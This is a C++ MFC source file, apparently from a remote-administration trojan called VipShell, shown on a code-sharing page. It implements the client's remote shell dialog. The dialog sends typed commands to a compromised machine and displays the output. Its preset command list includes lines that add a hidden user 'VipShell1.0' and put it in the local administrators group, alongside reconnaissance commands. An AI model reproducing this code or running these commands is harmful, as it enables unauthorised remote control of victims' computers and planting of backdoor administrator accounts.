📄 shelldlg.cpp
字号:
// ShellDlg.cpp : implementation file
//
#include "stdafx.h"
#include "VipShellClient.h"
#include "ShellDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CShellDlg dialog
CShellDlg::CShellDlg(CWnd* pParent /*=NULL*/)
: CDialog(CShellDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CShellDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
}
void CShellDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CShellDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CShellDlg, CDialog)
//{{AFX_MSG_MAP(CShellDlg)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CShellDlg message handlers
BOOL CShellDlg::OnInitDialog()
{
CDialog::OnInitDialog();
CComboBox* pList = (CComboBox*)GetDlgItem(IDC_COMBO_CMD);
pList->InsertString(0, L"net user");
pList->InsertString(0, L"net user VipShell1.0 VipShell1.0 /add");
pList->InsertString(0, L"net localgroup administrators VipShell1.0 /add");
pList->InsertString(0, L"ipconfig -all");
pList->InsertString(0, L"dir c:\\");
pList->InsertString(0, L"dir d:\\");
m_spVipShellClientShellHandle->StartShell(0);
return TRUE;
}
void CShellDlg::SetVipShellClientShellHandle(I_VipShellClientShellHandle* p)
{
m_spVipShellClientShellHandle = p;
m_spVipShellClientShellHandle->SetVipShellClientShellHandleEvent(this);
}
void CShellDlg::OnCommandRet(LPCWSTR sz)
{
CString str; GetDlgItemText(IDC_EDIT_TEXT, str);
str += sz;
SetDlgItemText(IDC_EDIT_TEXT, str);
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_TEXT);
pEdit->LineScroll(pEdit->GetLineCount());
}
void CShellDlg::OnOK()
{
// TODO: Add extra validation here
CString strcmd;
GetDlgItemText(IDC_COMBO_CMD, strcmd);
if( strcmd.GetLength() == 0 )
return ;
CComboBox* pList = (CComboBox*)GetDlgItem(IDC_COMBO_CMD);
if( pList->FindString(0, strcmd) == -1 && strcmd.GetLength() != 0)
{
pList->InsertString(0, strcmd);
}
strcmd += L"\r\n";
m_spVipShellClientShellHandle->SendCmd(strcmd);
pList->SetWindowText(L"");
// SetDlgItemText(IDC_EDIT_TEXT, m_strText);
// CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_TEXT);
// pEdit->LineScroll(pEdit->GetLineCount());
// pList->SetWindowText("");
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -